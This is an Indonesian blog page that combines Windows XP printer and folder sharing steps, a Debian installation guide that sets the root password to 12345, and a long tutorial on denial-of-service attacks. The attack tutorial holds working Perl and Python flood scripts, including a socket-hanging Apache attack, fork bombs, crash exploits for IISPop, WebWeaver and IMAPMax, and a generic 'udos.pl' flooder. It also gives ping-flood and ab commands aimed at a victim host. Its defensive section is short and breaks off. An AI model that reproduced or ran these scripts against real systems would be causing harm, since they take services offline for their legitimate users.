Jumat, 29 Januari 2010



















linux
dan windows xp











cara sharing printer

Dalam ulasan kali ini saya akan memaparkan langkah-demi-langkah setting printer agar dapat dipakai oleh beberapa komputer/klien dengan memanfaatkan fasilitas File and Printer Sharing punya Windows.

Saya sengaja memuat kembali tulisan ini bagi rekan-rekan yang masih membutuhkan. Terlebih lagi cara ini bisa sangat menghemat penggunaan printer terutama untuk Lab, Kantor, Rental Komputer dan terutama untuk warnet seperti yang saya miliki.

Sebelum memulai langkah berikut saya asumsikan Anda telah menyiapkan jaringan LAN Anda. Masing-masing komputer sudah memiliki IP addres yang tepat dan tergabung daam sebuah workgroup. Di sini saya pakai nama default “WORKGROUP” untuk nama network yang saya gunakan.

Pada proses printer sharing ini ada dua tahap yang perlu dilakukan sebagai berikut:
Pertama, Membuka Fasilitas Sharing Printer pada komputer Host. Yang dimaksud dengan komputer host adalah komputer yang memiliki printer. Kalo di rental atau warnet, seringkali komputer host ini disebut sebagai server layanan.

Printer yang ada di komputer inilah yang nantinya dibagi dan dipake rame-rame dengan memanfaatkan fasilitas File and Printer Sharing Windows. Namun ada baiknya Anda pastikan terlebih dahulu bahwa driver printer sudah terinstall dan dapat berjalan dengan baik. Selanjutnya lakukan langkah berikut:
1. Buka Control Panel > Printer and Faxes, klik kanan pada Printer Anda > Pilih Sharing. Dalam contoh ini saya pakai Printer Epson C90 Stylus Series.

2. Selanjutnya akan muncul Tab Sharing Properties seperti di bawah ini. Pastikan Anda memilih Checkbox Share this printer, Beri nama sesuka Anda dan akhiri dengan klik OK. Jika ada permintaan CD Windows, atau konfirmasi dari printer sharing, pilih “Just Enable File and Printer Sharing” dan Klik OK.

Sampai di sini setting komputer host sudah selesai.
Selanjutnya Tahap kedua, yakni Setting Printer di komputer klien. Berikut langkah-langkahnya:
1. Buka Control Panel > Printer and Faxes > Pada tab di sebelah kiri pilih Add a Printer. Lebih jelasnya perhatikan gambar berikut:

2. Selanjutnya akan terbuka Add Printer Wizard, Klik Next

3. Pilih tipe printer yang akan digunakan, pastikan Anda memilih Network Printer > Next

4. Browse printer pada jaringan Anda, pastikan Anda tidak salah alamat akhiri dengan Next

5. Komputer akan mengkonfirmasi apakah Printer Jaringan ini akan dijadikan Printer Utama? Pilih sesuai kebutuhan. Saya menyarankan Anda pilih Yes > Next

6. Akhiri Wizard dengan klik Finish.

Anda sudah berhasil mengkoneksikan komputer klien ke printer jaringan. Berikutnya, silakan Anda print sebuah dokumen dari komputer klien menggunakan printer yang baru saja Anda setting.

langkah-langkah Sharing Folder

1 ANDA buka my document sebelum anda memulai sharing buatkan folder baru lalu enter
2 setelah itu klik folder ygkita buat lalu klik file,pilih sharing and security
3 setelah muncul pilihan pilihlah sharing lalu pilih share this folder in the network
4 lalu pilih ok dan akan muncul tanda berbentuk tangan yg menyatakan bahwa folder telah disharing

http://ripandi.wordpress.com

menginsatalasi linux debian

LANGKAH I
Persiapan Menginstall Linux (Debian)
Nyalakan komputer, kemudian tekan [delete] untuk masuk ke bios,
Setelah di dalam bios, pilih menu
BIOS FEATURES SETUP
tekan [ENTER]
Setelah itu pilihlah menu Boot Sequence agar menjadi CDROM,C,A

[ESC]
Pilih,
SAVE & EXIT SETUP
tekan [ENTER]
tekan y [ENTER]
Maka komputer akan mulai booting kembali dengan boot sequence pertama ke CDROM.

Masukkan CD debian yang ada kedalam CDROM.

LANGKAH II
Boot dari CD
Setelah memasukkan CD ke dalam CDROM maka tinggal tunggu CD boot.
Setelah komputer boot ke CD, akan muncul tampilan sebagai berikut:
Welcome to Deal
This is debian ...........................................
..........................................................

boot:_ [ENTER]

LANGKAH III
Pilihan Awal Penginstallan
Setelah itu komputer akan loading...
Tunggu sampai muncul tulisan sebagai berikut:

' Choose The Language '
Pilih bahasa (disarankan bahasa inggris - en). [ENTER]

' Choose Language Variant '
Pilih ' English (United States) ' [ENTER].

' Relase Notes '
Pilih [ENTER].

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,

Next : Configure the Keyboard

tekan [ENTER].

' Select a Keyboard '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pilih,

qwerty/us : U.S. English (QWERTY)

[ENTER]

LANGKAH IV
Menentukan Partisi Hardisk

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,
Next : Initialize and Activate a Swap Partition
pilih,
Previous: Partition a Hard Disk
[ENTER]

' Select Disk Drive '
pilih,
/dev/hda
[ENTER]

' Lilo Limitations '
[ENTER]

' Note on additional space for the ReiserFS Journal '
[ENTER]

Akan muncul tampilan partisi yang ada pada hard Disk hda, dengan informasi ini anda akan mengetahui letak partisi swap dan letak partisi tempat anda akan meletakkan '/' (root).
pilih [ Quit ]
dengan menggerakan/menekan panah kearah kanan. [ENTER]

LANGKAH V
Menginisialisasi Partisi Swap

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight pada pilihan yang paling atas dengan tulisan,

Next : Initialize and Activate a Swap Partition
[ENTER]

' Scan for Bad Blocks? '
pilih [ENTER]

' Are You Sure? '
pilih [ENTER]

LANGKAH VI
Memilih jenis File System pada Partisi Linux

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,

Next : Initialize a Linux Partition
[ENTER]

' Choose Filesystem Type '
Terdapat 3 pilihan pada kotak, pilih,

Ext3 : Next Generation of Ext2, a journaling filesystem
[ENTER]

' Select Partition '
Pilih partisi yang akan dijadikan "Ext3"
Terdapat 3 pilihan pada kotak, pilih,

/dev/hda2 : Linux native
[ENTER]

' Scan for Bad Blocks? '
pilih [ENTER]

' Are You Sure? '
Perhatikan baik-baik apakah benar yang anda pilih /dev/hda2 sebagai "Ext3" kalau sudah benar
pilih [ENTER]

' Mount as the Root Filesystem? '
pilih [ENTER]

LANGKAH VII
Menginstall Kernel dan Modulnya

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight pada pilihan yang paling atas dengan tulisan,

Next : Install kernel and Driver Modules
[ENTER]

' Select Installation Medium '
pilih,
cdrom : CD-ROM drive
[ENTER]

' Please insert the CD-ROM '
pilih [ENTER]

' Please Wait '

' Select Archive path '
Pilih directory tempat menginstall kernel.
/instmnt/dists/woody/main/disks-i386/current
[ENTER]

' Please Wait '

LANGKAH VIII
Memilih Driver

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,

Next : Configure Device Driver Modules
[ENTER]

' Note about loaded drivers '
pilih, [ENTER]

' Select Category '
Akan tampil pilihan-pilihan module yang akan di pilih,

1. Pilih ' kernel/drivers/input Input Devices. ' [ENTER]

' Select kernel/driver/input modules '
pilih,
' kebdev - Keyboard support ' [ENTER]

' kebdev '
pilih, [ENTER]

' Enter Command-Line Argumens '
Tidak perlu diisi apa-apa.
[ENTER]

pilih,
' mousedev - Mouse support ' [ENTER]

' mousedev '
pilih, [ENTER]

' Enter Command-Line Argumens '
Tidak perlu diisi apa-apa.
[ENTER]

Pilih ' Exit Finish Return to previous menu. ' [ENTER]

2. Pilih ' kernel/drivers/net Drivers for network interface cards ' [ENTER]

' Select kernel/drivers/net modules '
carilah ' eepro100 ' [ENTER]

' eepro100 '
pilih, [ENTER]

atau bila gagal bisa coba bonding

' Enter Command-Line Argumens '
Tidak perlu diisi apa-apa. [ENTER]

Pilih ' Exit Finish Return to previous menu. ' [ENTER]

3. Pilih ' kernel/fs/msdos
MS-DOS file system ' [ENTER]

' Select kernel/fs/msdos modules '
pilih, ' msdos - PC BIOS ' [ENTER]

' msdos '
pilih, [ENTER]

' Enter Command-Line Argumens '
Tidak perlu diisi apa-apa.
[ENTER]

Pilih ' Exit Finish Return to previous menu. ' [ENTER]

4. Pilih ' kernel/arch/1386/kernel i386-base drivers. ' [ENTER]
pilih, ' apm ' [ENTER]

' apm '
pilih, [ENTER]

' Enter Command-Line Argumens '
Tidak perlu diisi apa-apa.
[ENTER]

pilih, ' cpuid ' [ENTER]

' cpuid '
pilih, [ENTER]

' Enter Command-Line Argumens '
Tidak perlu diisi apa-apa.
[ENTER]

Pilih ' Exit Finish Return to previous menu. ' [ENTER]


Pilih, ' Exit ' [ENTER]

LANGKAH IX
Mengkonfigurasi Jaringan

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,

Next : Configure the network

[ENTER]

' Choose The Hostname '
Ganti tulisan ' Debian ' dengan ' LAB-OS-27-*** '
*** diganti dengan nomor komputer.
[ENTER]

' Automatic Network Configuration '
pilih, [ENTER]

' Choose the IP Address '
Ganti tulisan default-nya dengan ' 152.118.27.*** '
*** diganti dengan nomor komputer.
[ENTER]

' Choose Network Mask '
Tidak usah diganti.
[ENTER]

' What is your IP gateaway address? '
152.118.27.1
[ENTER]

' Choose Domain Name '
Tulis ' cs.ui.ac.id '
[ENTER]

' Choose the DNS Server Addresses '
Ganti dengan ' 152.118.24.2 '
[ENTER]

LANGKAH X
Menginstall Base System

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di
highlight pada pilihan yang paling atas dengan tulisan,

Next : Install the base system
[ENTER]

' Select Installation Medium '
pilih,

' cdrom : CD-ROM drive '
[ENTER]

' Please insert the CD-ROM '
pilih, [ENTER]

' Select Archive path '
Pilih directory untuk menginstall base sistem.
/instmnt
[ENTER]

' Installing Base System, please wait '
Tunggulah sampai selesai menginstall.

LANGKAH XI
Membuat System Menjadi Bootable

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,

Next : Make System Bootable
[ENTER]

' When should the LILO boot loader be installed ? '
Pilih,
/dev/hda : Install LILO in the MBR (use this if unsure).
[ENTER]


' Other bootable partitions '
Pilih,
Include Put all into the menu.
[ENTER]

' Securing LILO '
[ENTER]

LANGKAH XII
Membuat Boot Floppy

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,

Next : Make a Boot Floppy

Masukkan disket(dalam keadaan baik)ke dalam floppy disk
[ENTER]

' Change Disk '
[ENTER]

Tunggulah sementara sedang membuat boot floppy

LANGKAH XIII
Mereboot Komputer

' Debian GNU/LINUX Installation Main Menu '
Akan ada macam-macam pilihan didalam kotak dengan bagian yang di highlight
pada pilihan yang paling atas dengan tulisan,

Next : Reboot The System
[ENTER]

' Reboot The System? '
Pilih,
Yes [ENTER]

Kemudian keluarkan disket dari floppy disk, sementara komputer sedang reboot.

Keluarkanlah cd deal dari cdrom.

Tunggu sampai muncul lilo boot seperti dibawah ini,

Linux
WIN/Dos

Pilih Linux [ENTER]

LANGKAH XIV
Konfigurasi System Debian

Kemudian akan masuk ke tampilan seperti dibawah ini :
' Debian System Configuration '
[ENTER]

' TimeZone Configuration '
Is the hardware clock set to GMT
Pilih,
[ENTER]

What area do you life in?
Pilih,
Asia [ENTER]

Select a city or time zone:
Pilih,
Jakarta [ENTER]

' Password setup '
Shall I enable md5 passwords?
Pilih,
[ENTER]

Shall I enable shadow passwords?
Pilih,
[ENTER]

Enter a password for the root:
Isi saja dengan 12345
[ENTER]

Re-enter password to verify:
Isi lagi dengan 12345
[ENTER]

Shall I create a normal user account now?
Pilih,
[ENTER]

' Debian System Configuration '
Shall I remove the pcmcia packages?
Pilih,
[ENTER]

Do you want to user a PPP connection to install the system.
Pilih,
[ENTER]

' Apt Configuration '
Choose the method apt should user to access to Debian archive:
Pilih,
cdrom [ENTER]

Masukkan cd deal ke dalam cdrom.

Enter CD ROM device file:
/dev/cdrom [ENTER]

Scan another CD?
pilih [ENTER]

Add another apt source?
pilih [ENTER]

Use security updates from security.debian.org?
pilih [ENTER]

Run tasksel?
pilih [ENTER]

Run dselect?
pilih [ENTER]

Run dselect?
pilih, [ENTER]

Tunggu sementara sedang mengkonfigurasi paket apa saja yang akan diambil,
sampai ada tulisan seperti di bawah ini :
Do you want to continue? [Y/n]
Ketikan y [ENTER]

Do you want to erase any previous downloaded.deb files? [Y/n]
Ketik,
y [ENTER]
Please enter to continue
[ENTER]

I can do .....
[---Please return---]
[ENTER]

You must choose one of the options below:
Enter value (default='1', 'x' to restart):
Ketik,
5 [ENTER]

'Debian System Configuration '
Have fun !
Thank you for choosing Debian.
[ENTER]


LANGKAH XV
Login
Nanti akan muncul pesan seperti dibawah ini:
LAB-OS-27-**** login :
(**** sesuai dengan komputer tempat anda menginstall)

Coba masukkan login root dan passwordnya.

Setelah itu kita akan mencoba menginstall paket.
Cara menginstallnya adalah dengan cara sebagai berikut:
ketik perintah ini di console:

apt-get install "nama paket" [ENTER]

Sebagai contoh kita akan mencoba menginstall lynx.
Jadi yang harus diketikkan adalah sebagai berikut :

apt-get install lynx [ENTER]

Do you want to continue? [Y/n]
ketikan y [ENTER]

Setelah selesai menginstall lynx coba ketikkan perintah ini di console :
lynx kambing.vlsm.org [ENTER]

Jika berhasil masuk ke halaman kambing.vlsm.org berarti anda berhasil.
Selamat menggunakan Debian!
Selamat mencoba di rumah!

Copyright (C) 2003 (Hak Cipta) IKI-20230/80230.
Diizinkan untuk melakukan penyalinan utuh serta mendistribusikan seluruh berkas pada segala macam media, dengan ketentuan menyertakan nota hak cipta ini.

dos

1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?

Semuanya untuk anda, ENJOY !!.

.o0 Apa itu Denial of Service (DoS) ?

Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti hukum ini.

Beberapa aktifitas DoS adalah:

1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.


.o0 Motif penyerang melakukan Denial of Service

Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melakukan Denial of Service yaitu:

1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.

Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya. Alasan politik dan ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat mudah untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_program argv argc ... .o0 Denial of Sevice, serangan yang menghabiskan resource.

Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:

A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD


A. Swap Space
Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.

C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi memori kepada kernel juga merupakan target serangan yang sensitif. Kernel memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

D. RAM
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.

E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.

F. Caches

G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.


.o0 Teknik Melakukan Denial of Service

Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik. Kita akan bahas tipe-tipe serangan DoS.

1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole' pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium 'FOOF' Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor yang digunakan yaitu pentium.
3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network). Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP. Varian dari serangan ini disebut "smurfing" (http://www.quadrunner.com/~chuegen/smurf.txt).

Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms. Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah membuat hang/blue screen of death pada komputer korban. Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung kepada jenis sistem operasi dan konfigurasi server target (misalnya: blocking)

2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT

3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet yang tinggi sekali kepada korban.

4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows versi awal. Versi improve dari NesTea dikenal dengan NesTea2

5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)

6. Syndrop
Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target serangan adalah Linux dan Windows

7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini adalah Blue Screen of Death

Serangan langsung (+ 31337)

1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran. bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan) suatu web server, namun tidak tertutup kemungkinan untuk melakukan penyalahgunaan. bash $ /usr/sbin/ab -n 10000 -c 300 \ http://korban.com/cgi-bin/search.cgi?q= ... cukup+umum (diketik dalam 1 baris!) Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah-pisah.

Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, seolah-olah server korban tewas.

Script gs.pl (gantung socket)

#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print "Gunakan: perl gs.pl [host] [port] \n";
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !

DoS-ing Apache lagi !!

Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

1. Fork Bomb, habiskan RAM

#!/usr/bin/perl
fork while 1;

2. Habiskan CPU

#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i

3. Habiskan Memory

#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }

4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan menyebabkan program dihentikan secara paksa.

Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.

1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS

IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes, versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181

Script: iispdos.pl

#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print "Gunakan: perl iispdos.pl [host] \n";
exit;
}
# Data 289999 bytes
$buff = "A" x 289999;

print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "110",
Proto=> "tcp") or die;
print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "110",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# END.

2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : http://www.wzdftpd.net

Proof of Concept:

% telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host

wzdftpd crash setelah diberikan perintah/command PORT !

3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : http://www.brswebweaver.com
BugTraqer : euronymous /F0KP

}------- start of fadvWWhtdos.py ---------------{

#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########

import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fadvWWhtdos.py ---------------{

Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0x36.org

Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command
SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara
manual.

Contoh eksploitasi:
--------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
--------[ transcript ]-------

Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool
ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'


Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja - membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada komputer esekutor yang memiliki bandwidth lebar.

Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.

Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS. Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).

-- udos.pl --

#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print "Gunakan % perl udos.pl [host] [port] [data] \n";
print "Contoh :\n";
print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto=> "tcp") or die;
print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# End.

-- udos.pl --

Skrip sederhana diatas hanya melakukan hubungan dengan server korban, lalu mengirimkan flood dan melakukan post testing. Dengan sedikit pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force Flooder', tergantung pada kreatifitas anda !


.o0 Penanggulangan serangan Denial of Service

Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau bagaimana mudahnya melakukan input flooding dan membuat tool sendiri. Namun Denial of service adalah masalah layanan publik.Sama halnya dengan anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan 'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban kekanak-kanakan demikian tentu tidak anda harapkan.

1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option untuk menolak cracker untuk mengakses system.

2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet' dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak - tidak tertutup kemungkinan untuk melakukan Denial of Service -. Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
atau melakukan up-date.

3. Teknik pengamanan httpd Apache.
